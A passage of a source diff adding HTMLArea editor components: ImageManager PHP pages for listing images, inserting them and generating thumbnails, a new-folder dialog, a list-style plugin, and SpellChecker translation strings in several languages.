+ <? \r
+ }//foreach\r
+}//function drawFiles\r
+\r
+\r
+/**\r
+ * Draw the directory.\r
+ */\r
+function drawDirs($list, &$manager) \r
+{\r
+ global $relative;\r
+\r
+ foreach($list as $path => $dir) \r
+ { ?>\r
+ <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">\r
+ <a href="images.php?dir=<? echo rawurlencode($path); ?>" onclick="updateDir('<? echo $path; ?>')" title="<? echo $dir['entry']; ?>"><img src="img/folder.gif" height="80" width="80" alt="<? echo $dir['entry']; ?>" /></a>\r
+ </td></tr><tr>\r
+ <td class="edit">\r
+ <a href="images.php?dir=<? echo $relative; ?>&deld=<? echo rawurlencode($path); ?>" title="Trash" onclick="return confirmDeleteDir('<? echo $dir['entry']; ?>', <? echo $dir['count']; ?>);"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>\r
+ <? echo $dir['entry']; ?>\r
+ </td>\r
+ </tr></table></td>\r
+ <? \r
+ } //foreach\r
+}//function drawDirs\r
+\r
+\r
+/**\r
+ * No directories and no files.\r
+ */\r
+function drawNoResults() \r
+{\r
+?>\r
+<table width="100%">\r
+ <tr>\r
+ <td class="noResult">No Images Found</td>\r
+ </tr>\r
+</table>\r
+<? \r
+}\r
+\r
+/**\r
+ * No directories and no files.\r
+ */\r
+function drawErrorBase(&$manager) \r
+{\r
+?>\r
+<table width="100%">\r
+ <tr>\r
+ <td class="error">Invalid base directory: <? echo $manager->config['base_dir']; ?></td>\r
+ </tr>\r
+</table>\r
+<? \r
+}\r
+\r
+?>\r
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r
+\r
+<html>\r
+<head>\r
+ <title>Image List</title>\r
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\r
+ <link href="assets/imagelist.css" rel="stylesheet" type="text/css" />\r
+<script type="text/javascript" src="assets/dialog.js"></script>\r
+<script type="text/javascript">\r
+/*<![CDATA[*/\r
+\r
+ if(window.top)\r
+ I18N = window.top.I18N;\r
+\r
+ function hideMessage()\r
+ {\r
+ var topDoc = window.top.document;\r
+ var messages = topDoc.getElementById('messages');\r
+ if(messages)\r
+ messages.style.display = "none";\r
+ }\r
+\r
+ init = function()\r
+ {\r
+ hideMessage();\r
+ var topDoc = window.top.document;\r
+\r
+<? \r
+ //we need to refesh the drop directory list\r
+ //save the current dir, delete all select options\r
+ //add the new list, re-select the saved dir.\r
+ if($refreshDir) \r
+ { \r
+ $dirs = $manager->getDirs();\r
+?>\r
+ var selection = topDoc.getElementById('dirPath');\r
+ var currentDir = selection.options[selection.selectedIndex].text;\r
+\r
+ while(selection.length > 0)\r
+ { selection.remove(0); }\r
+ \r
+ selection.options[selection.length] = new Option("/","<? echo rawurlencode('/'); ?>"); \r
+ <? foreach($dirs as $relative=>$fullpath) { ?>\r
+ selection.options[selection.length] = new Option("<? echo $relative; ?>","<? echo rawurlencode($relative); ?>"); \r
+ <? } ?>\r
+ \r
+ for(var i = 0; i < selection.length; i++)\r
+ {\r
+ var thisDir = selection.options[i].text;\r
+ if(thisDir == currentDir)\r
+ {\r
+ selection.selectedIndex = i;\r
+ break;\r
+ }\r
+ } \r
+<? } ?>\r
+ } \r
+\r
+ function editImage(image) \r
+ {\r
+ var url = "editor.php?img="+image;\r
+ Dialog(url, function(param) \r
+ {\r
+ if (!param) // user must have pressed Cancel\r
+ return false;\r
+ else\r
+ {\r
+ return true;\r
+ }\r
+ }, null); \r
+ }\r
+\r
+/*]]>*/\r
+</script>\r
+<script type="text/javascript" src="assets/images.js"></script>\r
+</head>\r
+\r
+<body>\r
+<? if ($manager->isValidBase() == false) { drawErrorBase($manager); } \r
+ elseif(count($list[0]) > 0 || count($list[1]) > 0) { ?>\r
+<table>\r
+ <tr>\r
+ <? drawDirs($list[0], $manager); ?>\r
+ <? drawFiles($list[1], $manager); ?>\r
+ </tr>\r
+</table>\r
+<? } else { drawNoResults(); } ?>\r
+</body>\r
+</html>\r
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Xiang Wei Zhuo, http://www.zhuo.org
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+ImageManager.I18N = {
+ "Image Manager" : "Image Manager",
+ "Crop" : "Crop"
+};
+/*
+
+
+*/
\ No newline at end of file
--- /dev/null
+<?
+/**
+ * The main GUI for the ImageManager.
+ * @author $Author: matrix $
+ * @version $Id: manager.php,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+ * @package ImageManager
+ */
+
+ require_once('config.inc.php');
+ require_once('Classes/ImageManager.php');
+
+ $manager = new ImageManager($IMConfig);
+ $dirs = $manager->getDirs();
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+ <title>Insert Image</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <link href="assets/manager.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript" src="assets/dialog.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+ window.resizeTo(600, 460);
+
+ if(window.opener)
+ I18N = window.opener.ImageManager.I18N;
+
+ var thumbdir = "<? echo $IMConfig['thumbnail_dir']; ?>";
+ var base_url = "<? echo $manager->getBaseURL(); ?>";
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/manager.js"></script>
+</head>
+<body>
+<div class="title">Insert Image</div>
+<form action="images.php" id="uploadForm" method="post" enctype="multipart/form-data">
+<fieldset><legend>Image Manager</legend>
+<div class="dirs">
+ <label for="dirPath">Directory</label>
+ <select name="dir" class="dirWidth" id="dirPath" onchange="updateDir(this)">
+ <option value="/">/</option>
+<? foreach($dirs as $relative=>$fullpath) { ?>
+ <option value="<? echo rawurlencode($relative); ?>"><? echo $relative; ?></option>
+<? } ?>
+ </select>
+ <a href="#" onclick="javascript: goUpDir();" title="Directory Up"><img src="img/btnFolderUp.gif" height="15" width="15" alt="Directory Up" /></a>
+<? if($IMConfig['safe_mode'] == false && $IMConfig['allow_new_dir']) { ?>
+ <a href="#" onclick="newFolder();" title="New Folder"><img src="img/btnFolderNew.gif" height="15" width="15" alt="New Folder" /></a>
+<? } ?>
+ <div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+ <iframe src="images.php" name="imgManager" id="imgManager" class="imageFrame" scrolling="auto" title="Image Selection" frameborder="0"></iframe>
+</div>
+</fieldset>
+<!-- image properties -->
+ <table class="inputTable">
+ <tr>
+ <td align="right"><label for="f_url">Image File</label></td>
+ <td><input type="text" id="f_url" class="largelWidth" value="" /></td>
+ <td rowspan="3" align="right"> </td>
+ <td align="right"><label for="f_width">Width</label></td>
+ <td><input type="text" id="f_width" class="smallWidth" value="" onchange="javascript:checkConstrains('width');"/></td>
+ <td rowspan="2" align="right"><img src="img/locked.gif" id="imgLock" width="25" height="32" alt="Constrained Proportions" /></td>
+ <td rowspan="3" align="right"> </td>
+ <td align="right"><label for="f_vert">V Space</label></td>
+ <td><input type="text" id="f_vert" class="smallWidth" value="" /></td>
+ </tr>
+ <tr>
+ <td align="right"><label for="f_alt">Alt</label></td>
+ <td><input type="text" id="f_alt" class="largelWidth" value="" /></td>
+ <td align="right"><label for="f_height">Height</label></td>
+ <td><input type="text" id="f_height" class="smallWidth" value="" onchange="javascript:checkConstrains('height');"/></td>
+ <td align="right"><label for="f_horiz">H Space</label></td>
+ <td><input type="text" id="f_horiz" class="smallWidth" value="" /></td>
+ </tr>
+ <tr>
+<? if($IMConfig['allow_upload'] == true) { ?>
+ <td align="right"><label for="upload">Upload</label></td>
+ <td>
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td><input type="file" name="upload" id="upload"/></td>
+ <td> <button type="submit" name="submit" onclick="doUpload();"/>Upload</button></td>
+ </tr>
+ </table>
+ </td>
+<? } else { ?>
+ <td colspan="2"></td>
+<? } ?>
+ <td align="right"><label for="f_align">Align</label></td>
+ <td colspan="2">
+ <select size="1" id="f_align" title="Positioning of this image">
+ <option value="" >Not Set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" selected="selected" >Absmiddle</option>
+ <option value="baseline" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+ </select>
+ </td>
+ <td align="right"><label for="f_border">Border</label></td>
+ <td><input type="text" id="f_border" class="smallWidth" value="" /></td>
+ </tr>
+ <tr>
+ <td colspan="4" align="right">
+ <input type="hidden" id="orginal_width" />
+ <input type="hidden" id="orginal_height" />
+ <input type="checkbox" id="constrain_prop" checked="checked" onclick="javascript:toggleConstrains(this);" />
+ </td>
+ <td colspan="5"><label for="constrain_prop">Constrain Proportions</label></td>
+ </tr>
+ </table>
+<!--// image properties -->
+ <div style="text-align: right;">
+ <hr />
+ <button type="button" class="buttons" onclick="return refresh();">Refresh</button>
+ <button type="button" class="buttons" onclick="return onOK();">OK</button>
+ <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+ </div>
+</form>
+</body>
+</html>
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+<title>New Folder</title>
+ <style type="text/css">
+ /*<![CDATA[*/
+ html, body { background-color: ButtonFace; color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+ .title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px solid black; letter-spacing: 2px;}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+form { padding: 0px; margin: 0;}
+form .elements{
+ padding: 10px; text-align: center;
+}
+ /*]]>*/
+ </style>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+ window.resizeTo(300, 160);
+
+ if(window.opener)
+ I18N = window.opener.I18N;
+
+ init = function ()
+ {
+ __dlg_init();
+ __dlg_translate(I18N);
+ document.getElementById("f_foldername").focus();
+ }
+
+ function onCancel()
+ {
+ __dlg_close(null);
+ return false;
+ }
+
+ function onOK()
+ {
+ // pass data back to the calling window
+ var fields = ["f_foldername"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+ }
+
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ addEvent(window, 'load', init);
+//-->
+</script>
+</head>
+<body >
+<div class="title">New Folder</div>
+<form action="">
+<div class="elements">
+ <label for="f_foldername">Folder Name:</label>
+ <input type="text" id="f_foldername" />
+</div>
+<div style="text-align: right;">
+ <hr />
+ <button type="button" class="buttons" onclick="return onOK();">OK</button>
+ <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+</div>
+</form>
+</body>
+</html>
\ No newline at end of file
--- /dev/null
+<?
+/**
+ * On the fly Thumbnail generation.
+ * Creates thumbnails given by thumbs.php?img=/relative/path/to/image.jpg
+ * relative to the base_dir given in config.inc.php
+ * @author $Author: matrix $
+ * @version $Id: thumbs.php,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/Thumbnail.php');
+
+//check for img parameter in the url
+if(!isset($_GET['img']))
+ exit();
+
+
+$manager = new ImageManager($IMConfig);
+
+//get the image and the full path to the image
+$image = rawurldecode($_GET['img']);
+$fullpath = Files::makeFile($manager->getBaseDir(),$image);
+
+//not a file, so exit
+if(!is_file($fullpath))
+ exit();
+
+$imgInfo = @getImageSize($fullpath);
+
+//Not an image, send default thumbnail
+if(!is_array($imgInfo))
+{
+ //show the default image, otherwise we quit!
+ $default = $manager->getDefaultThumb();
+ if($default)
+ {
+ header('Location: '.$default);
+ exit();
+ }
+}
+//if the image is less than the thumbnail dimensions
+//send the original image as thumbnail
+if ($imgInfo[0] <= $IMConfig['thumbnail_width']
+ && $imgInfo[1] <= $IMConfig['thumbnail_height'])
+ {
+ header('Location: '.$manager->getFileURL($image));
+ exit();
+ }
+
+//Check for thumbnails
+$thumbnail = $manager->getThumbName($fullpath);
+if(is_file($thumbnail))
+{
+ //if the thumbnail is newer, send it
+ if(filemtime($thumbnail) >= filemtime($fullpath))
+ {
+ header('Location: '.$manager->getThumbURL($image));
+ exit();
+ }
+}
+
+//creating thumbnails
+$thumbnailer = new Thumbnail($IMConfig['thumbnail_width'],$IMConfig['thumbnail_height']);
+$thumbnailer->createThumbnail($fullpath, $thumbnail);
+
+//Check for NEW thumbnails
+if(is_file($thumbnail))
+{
+ //send the new thumbnail
+ header('Location: '.$manager->getThumbURL($image));
+ exit();
+}
+else
+{
+ //show the default image, otherwise we quit!
+ $default = $manager->getDefaultThumb();
+ if($default)
+ header('Location: '.$default);
+}
+?>
\ No newline at end of file
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+ListType.I18N = {
+ "Decimal" : "Decimal numbers",
+ "Lower roman" : "Lower roman numbers",
+ "Upper roman" : "Upper roman numbers",
+ "Lower latin" : "Lower latin letters",
+ "Upper latin" : "Upper latin letters",
+ "Lower greek" : "Lower greek letters",
+ "ListStyleTooltip" : "Choose list style type (for ordered lists)"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// ListType Plugin for HTMLArea-3.0
+// Sponsored by MEdTech Unit - Queen's University
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: list-type.js,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+
+function ListType(editor) {
+ this.editor = editor;
+ var cfg = editor.config;
+ var toolbar = cfg.toolbar;
+ var self = this;
+ var i18n = ListType.I18N;
+ var options = {};
+ options[i18n["Decimal"]] = "decimal";
+ options[i18n["Lower roman"]] = "lower-roman";
+ options[i18n["Upper roman"]] = "upper-roman";
+ options[i18n["Lower latin"]] = "lower-alpha";
+ options[i18n["Upper latin"]] = "upper-alpha";
+ if (!HTMLArea.is_ie)
+ // IE doesn't support this property; even worse, it complains
+ // with a gross error message when we tried to select it,
+ // therefore let's hide it from the damn "browser".
+ options[i18n["Lower greek"]] = "lower-greek";
+ var obj = {
+ id : "ListType",
+ tooltip : i18n["ListStyleTooltip"],
+ options : options,
+ action : function(editor) { self.onSelect(editor, this); },
+ refresh : function(editor) { self.updateValue(editor, this); },
+ context : "ol"
+ };
+ cfg.registerDropdown(obj);
+ var a, i, j, found = false;
+ for (i = 0; !found && i < toolbar.length; ++i) {
+ a = toolbar[i];
+ for (j = 0; j < a.length; ++j) {
+ if (a[j] == "unorderedlist") {
+ found = true;
+ break;
+ }
+ }
+ }
+ if (found)
+ a.splice(j, 0, "space", "ListType", "space");
+};
+
+ListType._pluginInfo = {
+ name : "ListType",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "dynarch.com",
+ sponsor : "MEdTech Unit - Queen's University",
+ sponsor_url : "http://www.queensu.ca/",
+ license : "htmlArea"
+};
+
+ListType.prototype.onSelect = function(editor, combo) {
+ var tbobj = editor._toolbarObjects[combo.id].element;
+ var parent = editor.getParentElement();
+ while (!/^ol$/i.test(parent.tagName)) {
+ parent = parent.parentNode;
+ }
+ parent.style.listStyleType = tbobj.value;
+};
+
+ListType.prototype.updateValue = function(editor, combo) {
+ var tbobj = editor._toolbarObjects[combo.id].element;
+ var parent = editor.getParentElement();
+ while (parent && !/^ol$/i.test(parent.tagName)) {
+ parent = parent.parentNode;
+ }
+ if (!parent) {
+ tbobj.selectedIndex = 0;
+ return;
+ }
+ var type = parent.style.listStyleType;
+ if (!type) {
+ tbobj.selectedIndex = 0;
+ } else {
+ for (var i = tbobj.firstChild; i; i = i.nextSibling) {
+ i.selected = (type.indexOf(i.value) != -1);
+ }
+ }
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+</files>
+
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+SpellChecker.I18N = {\r\r
+ "CONFIRM_LINK_CLICK" : "Prosím potvrďte otevření tohoto odkazu",\r\r
+ "Cancel" : "Zrušit",\r\r
+ "Dictionary" : "Slovník",\r\r
+ "Finished list of mispelled words" : "Dokončen seznam chybných slov",\r\r
+ "I will open it in a new page." : "Bude otevřen jej v nové stránce.",\r\r
+ "Ignore all" : "Ignorovat vše",\r\r
+ "Ignore" : "Ignorovat",\r\r
+ "NO_ERRORS" : "Podle zvoleného slovníku nebyla nalezena žádná chybná slova.",\r\r
+ "NO_ERRORS_CLOSING" : "Kontrola správnosti slov dokončena, nebyla nalezena žádná chybná slova. Ukončování ...",\r\r
+ "OK" : "OK",\r\r
+ "Original word" : "Původní slovo",\r\r
+ "Please wait. Calling spell checker." : "Prosím čekejte. Komunikuace s kontrolou správnosti slov.",\r\r
+ "Please wait: changing dictionary to" : "Prosím čekejte: změna adresáře na",\r\r
+ "QUIT_CONFIRMATION" : "Změny budou zrušeny a kontrola správnosti slov ukončena. Prosím potvrďte.",\r\r
+ "Re-check" : "Překontrolovat",\r\r
+ "Replace all" : "Zaměnit všechno",\r\r
+ "Replace with" : "Zaměnit za",\r\r
+ "Replace" : "Zaměnit",\r\r
+ "SC-spell-check" : "Kontrola správnosti slov",\r\r
+ "Suggestions" : "Doporučení",\r\r
+ "pliz weit ;-)" : "strpení prosím ;-)"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Steen Sønderup, <steen@soenderup.com>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Vil du følge dette link?",
+ "Cancel" : "Anuler",
+ "Dictionary" : "Ordbog",
+ "Finished list of mispelled words" : "Listen med stavefejl er gennemgået",
+ "I will open it in a new page." : "Jeg vil åbne det i en ny side.",
+ "Ignore all" : "Ignorer alle",
+ "Ignore" : "Ignorer",
+ "NO_ERRORS" : "Der blev ikke fundet nogle stavefejl med den valgte ordbog.",
+ "NO_ERRORS_CLOSING" : "Stavekontrollen er gennemført, der blev ikke fundet nogle stavefejl. Lukker...",
+ "OK" : "OK",
+ "Original word" : "Oprindeligt ord",
+ "Please wait. Calling spell checker." : "Vent venligst. Henter stavekontrol.",
+ "Please wait: changing dictionary to" : "Vent venligst: skifter ordbog til",
+ "QUIT_CONFIRMATION" : "Alle dine ændringer vil gå tabt, vil du fortsætte?",
+ "Re-check" : "Tjek igen",
+ "Replace all" : "Erstat alle",
+ "Replace with" : "Erstat med",
+ "Replace" : "Erstat",
+ "SC-spell-check" : "Stavekontrol",
+ "Suggestions" : "Forslag",
+ "pliz weit ;-)" : "Vent venligst"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Broxx, <broxx@broxx.com>
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Wollen Sie diesen Link oeffnen",
+ "Cancel" : "Abbrechen",
+ "Dictionary" : "Woerterbuch",
+ "Finished list of mispelled words" : "Liste der nicht bekannten Woerter",
+ "I will open it in a new page." : "Wird auf neuer Seite geoeffnet",
+ "Ignore all" : "Alle ignorieren",
+ "Ignore" : "Ignorieren",
+ "NO_ERRORS" : "Keine falschen Woerter mit gewaehlten Woerterbuch gefunden",
+ "NO_ERRORS_CLOSING" : "Rechtsschreibpruefung wurde ohne Fehler fertiggestellt. Wird nun geschlossen...",
+ "OK" : "OK",
+ "Original word" : "Original Wort",
+ "Please wait. Calling spell checker." : "Bitte warten. Woerterbuch wird durchsucht.",
+ "Please wait: changing dictionary to" : "Bitte warten: Woerterbuch wechseln zu",
+ "QUIT_CONFIRMATION" : "Aenderungen werden nicht uebernommen. Bitte bestaettigen.",
+ "Re-check" : "Neuueberpruefung",
+ "Replace all" : "Alle ersetzen",
+ "Replace with" : "Ersetzen mit",
+ "Replace" : "Ersetzen",
+ "SC-spell-check" : "Ueberpruefung",
+ "Suggestions" : "Vorschlag",
+ "pliz weit ;-)" : "bittsche wartn ;-)"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Please confirm that you want to open this link",
+ "Cancel" : "Cancel",
+ "Dictionary" : "Dictionary",
+ "Finished list of mispelled words" : "Finished list of mispelled words",
+ "I will open it in a new page." : "I will open it in a new page.",
+ "Ignore all" : "Ignore all",
+ "Ignore" : "Ignore",
+ "NO_ERRORS" : "No mispelled words found with the selected dictionary.",
+ "NO_ERRORS_CLOSING" : "Spell check complete, didn't find any mispelled words. Closing now...",
+ "OK" : "OK",
+ "Original word" : "Original word",
+ "Please wait. Calling spell checker." : "Please wait. Calling spell checker.",
+ "Please wait: changing dictionary to" : "Please wait: changing dictionary to",
+ "QUIT_CONFIRMATION" : "This will drop changes and quit spell checker. Please confirm.",
+ "Re-check" : "Re-check",
+ "Replace all" : "Replace all",
+ "Replace with" : "Replace with",
+ "Replace" : "Replace",
+ "Revert" : "Revert",
+ "SC-spell-check" : "Spell-check",
+ "Suggestions" : "Suggestions",
+ "pliz weit ;-)" : "pliz weit ;-)"
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, http://dynarch.com/mishoo\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+SpellChecker.I18N = {\r\r
+ "CONFIRM_LINK_CLICK" : "אנא אשר שברצונך לפתוח קישור זה",\r\r
+ "Cancel" : "ביטול",\r\r
+ "Dictionary" : "מילון",\r\r
+ "Finished list of mispelled words" : "הסתיימה רשימת המילים המאויתות באופן שגוי",\r\r
+ "I will open it in a new page." : "אני אפתח את זה בחלון חדש.",\r\r
+ "Ignore all" : "התעלם מהכל",\r\r
+ "Ignore" : "התעלם",\r\r
+ "NO_ERRORS" : "לא נמצאו מילים מאויתות באופן שגוי עם המילון הנבחר.",\r\r
+ "NO_ERRORS_CLOSING" : "בדיקת האיות נסתיימה, לא נמצאו מילים מאויתות באופן שגוי. נסגר כעת...",\r\r
+ "OK" : "אישור",\r\r
+ "Original word" : "המילה המקורית",\r\r
+ "Please wait. Calling spell checker." : "אנא המתן. קורא לבודק איות.",\r\r
+ "Please wait: changing dictionary to" : "אנא המתן: מחליף מילון ל-",\r\r
+ "QUIT_CONFIRMATION" : "זה יבטל את השינויים ויצא מבודק האיות. אנא אשר.",\r\r
+ "Re-check" : "בדוק מחדש",\r\r
+ "Replace all" : "החלף הכל",\r\r
+ "Replace with" : "החלף ב-",\r\r
+ "Replace" : "החלף",\r\r
+ "Revert" : "החזר שינויים",\r\r
+ "SC-spell-check" : "בדיקת איות",\r\r
+ "Suggestions" : "הצעות",\r\r
+ "pliz weit ;-)" : "ענא המטן ;-)"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Megerősítés",
+ "Cancel" : "Mégsem",
+ "Dictionary" : "Szótár",
+ "Finished list of mispelled words" : "A tévesztett szavak listájának vége",
+ "I will open it in a new page." : "Megnyitás új lapon",
+ "Ignore all" : "Minden elvetése",
+ "Ignore" : "Elvetés",
+ "NO_ERRORS" : "A választott szótár szerint nincs tévesztett szó.",
+ "NO_ERRORS_CLOSING" : "A helyesírásellenőrzés kész, tévesztett szó nem fordult elő. Bezárás...",
+ "OK" : "Rendben",
+ "Original word" : "Eredeti szó",
+ "Please wait. Calling spell checker." : "Kis türelmet, a helyesírásellenőrző hívása folyamatban.",
+ "Please wait: changing dictionary to" : "Kis türelmet, szótár cseréje",
+ "QUIT_CONFIRMATION" : "Kilépés a változások eldobásával. Jóváhagyja?",
+ "Re-check" : "Újraellenőrzés",
+ "Replace all" : "Mind cseréje",
+ "Replace with" : "Csere a következőre:",
+ "Replace" : "Csere",
+ "SC-spell-check" : "Helyesírásellenőrzés",
+ "Suggestions" : "Tippek",
+ "pliz weit ;-)" : "Kis türelmet ;-)"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo, <fabio@rotondo.it>
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Devi confermare l'apertura di questo link",
+ "Cancel" : "Annulla",
+ "Dictionary" : "Dizionario",
+ "Finished list of mispelled words" : "La lista delle parole scritte male è terminata",
+ "I will open it in a new page." : "Lo aprirò in una nuova pagina.",
+ "Ignore all" : "Ignora sempre",
+ "Ignore" : "Ignora",
+ "NO_ERRORS" : "Non sono state trovate parole scritte male con il dizionario selezionato.",
+ "NO_ERRORS_CLOSING" : "Controllo completato, non sono state trovate parole scritte male. Sto chiudendo...",
+ "OK" : "OK",
+ "Original word" : "Parola originale",
+ "Please wait. Calling spell checker." : "Attendere. Sto invocando lo Spell Checker.",
+ "Please wait: changing dictionary to" : "Attendere. Cambio il dizionario in",
+ "QUIT_CONFIRMATION" : "Questo annullerà le modifiche e chiuderà lo Spell Checker. Conferma.",
+ "Re-check" : "Ricontrolla",
+ "Replace all" : "Sostituisci sempre",
+ "Replace with" : "Stostituisci con",
+ "Replace" : "Sostituisci",
+ "SC-spell-check" : "Spell-check",
+ "Suggestions" : "Suggerimenti",
+ "pliz weit ;-)" : "Attendere Prego ;-)"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Vă rog confirmaţi că vreţi să deschideţi acest link",
+ "Cancel" : "Anulează",
+ "Dictionary" : "Dicţionar",
+ "Finished list of mispelled words" : "Am terminat lista de cuvinte greşite",
+ "I will open it in a new page." : "O voi deschide într-o altă fereastră.",
+ "Ignore all" : "Ignoră toate",
+ "Ignore" : "Ignoră",
+ "NO_ERRORS" : "Nu am găsit nici un cuvânt greşit cu acest dicţionar.",
+ "NO_ERRORS_CLOSING" : "Am terminat, nu am detectat nici o greşeală. Acum închid fereastra...",
+ "OK" : "OK",
+ "Original word" : "Cuvântul original",
